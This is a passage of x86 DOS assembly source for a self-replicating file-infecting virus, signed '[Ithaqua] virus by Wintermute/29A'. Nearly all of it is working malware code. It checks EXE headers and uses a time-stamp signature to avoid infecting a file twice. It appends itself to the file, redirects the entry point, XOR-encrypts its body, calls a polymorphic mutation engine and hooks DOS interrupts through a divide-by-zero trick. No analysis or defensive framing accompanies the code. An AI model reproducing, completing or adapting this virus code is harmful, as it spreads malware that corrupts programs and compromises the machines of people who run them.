div bp
mov ax,4301h
push ax cx dx ds
xor cx,cx
div bp
mov ax,3d02h
div bp
jc restore_attrs
xchg ax,bx
mov ax,5700h ; Time/date of file
push ax
div bp
push dx cx
and cl,1eh
xor cl,1eh
jz @itwasinfected
push cs
pop ds
mov ah,3fh ; Reads header
mov cx,01ch
lea dx,buffercom
div bp
mov ax,word ptr ds:[buffercom]
add al,ah
sub al,'M'+'Z'
jnz @itwasinfected
cbw ; overlays
cmp word ptr ds:[buffercom+1ah],ax
jnz @itwasinfected
cmp word ptr ds:[buffercom+18h],40h ; Windoze
jz @itwasinfected
call Ptrtoend ; EOF
push ax
shr ax,4
shl dx,12
add dx,ax
sub dx,word ptr cs:[buffercom+8]
pop si
and si,0fh
push si
add si,100h
mov ax,si
call Smack_My_Bitch_UP
mov bp,1
mov word ptr cs:[stack_old],sp ; not enuff stack sometimes
mov word ptr cs:[stack_old+2],ss
push cs
pop ss
mov sp,offset _endstack2-2
sub word ptr cs:[return_point],tha_difference
call copy_myself
add word ptr cs:[return_point],tha_difference
mov ss,word ptr cs:[stack_old+2]
mov sp,word ptr cs:[stack_old]
pop si
mov ds:word ptr [CS_IP+2],dx ; We actualize header
inc dx
mov ds:word ptr [buffercom+0eh],dx
mov ds:word ptr [CS_IP],si
mov ds:word ptr [buffercom+10h],((virus_size+300h-15h)/2)*2
call Ptrtoend
mov cx,200h
div cx
inc ax
mov word ptr cs:[buffercom+2],dx ; File size, etc
mov word ptr cs:[buffercom+4],ax
mov ax,4200h
call Ptrtowhatever
push cs
pop ds
mov ah,40h ; Write header
mov cx,01ch
lea dx,buffercom
div bp
@itwasinfected:
;date
pop cx dx ax
inc ax
or cl,1fh
div bp
restore_attrs:
;attr
pop ds dx cx ax
div bp
jmp @closego
Ptrtoend:
mov ax,4202h
Ptrtowhatever:
xor cx,cx
cwd
div dx
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Data for the virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ret_pos: dw 100h
buffercom: db 0cdh,020h,00h
db 11h dup (0)
CS_IP:
dw offset temp2,0
db 01ch-16h dup (0)
comjmp: db 0e9h,00h,00h
are_we_on_MBR: db 0
This_Virus_Has_Internal_Text_XP:
db 'Love. Hate. I''ll be awaiting you on the dark side, '
db 'watching the nonsense.',0
VName:
db '[Ithaqua] virus by Wintermute/29A',0
encryption_ends label byte
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encryption/decryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Let's hide. Artificial beeing makes hunters ignore.
;
Swap_seg: dw 0
Swap_off: dw 0
copy_myself:
call push_all_regs
push bx
mov word ptr cs:[0000h],071eh
mov bx,bp
xor si,si
push si
push cs cs
pop ds es
mov di,virus_size+201h
mov dx,di ; Start crypt
mov bp,dx
mov cx,virus_size
push cx
rep movsb
call decrypt
pop cx
; Now we crypt poly engine
dec bx ; Are we able to make poly ?
jnz No_Poly_This_Time ; Don't poly when inserting
call push_all_regs
call RNME ; Reconstructed Necromantic Mutation Engine
call pop_all_regs
add cx,200h
sub dx,200h
No_Poly_This_Time:
pop di bx
mov ah,52h
add ah,0eeh
div di
call decrypt
call pop_all_regs
ret
int0h: dw 0,0
int0handler:
call call_21h
mov word ptr cs:[_bp],bp
mov bp,sp
add word ptr ss:[bp],2
mov bp,word ptr cs:[_bp]
retf 2
call_21h:
pushf
call dword ptr cs:[int21h]
ret
j21: db 0eah
int21h: dw 0,0
int21h_plural: dw 0,0,0,0,0,0 ; Four int21h addresses
outta_crypt: db 0
decrypt:
mov al,byte ptr cs:[outta_crypt+bp]
lea si,encryption_starts
mov cx,encryption_length
add si,bp
@crypt_loop:
xor byte ptr cs:[si],al
inc si
loop @crypt_loop
ret
virus_ends label byte
virus_size equ virus_ends-virus_starts
virus_16b equ ((virus_size+15)/16)+1
temp:
sub word ptr cs:[Fut_Crypt],(temp-decrypt)
ret
temp2:
mov ax,4c00h
int 21h
End Virus
; But, in the end, I recover normality. Happier. Thoughtless ?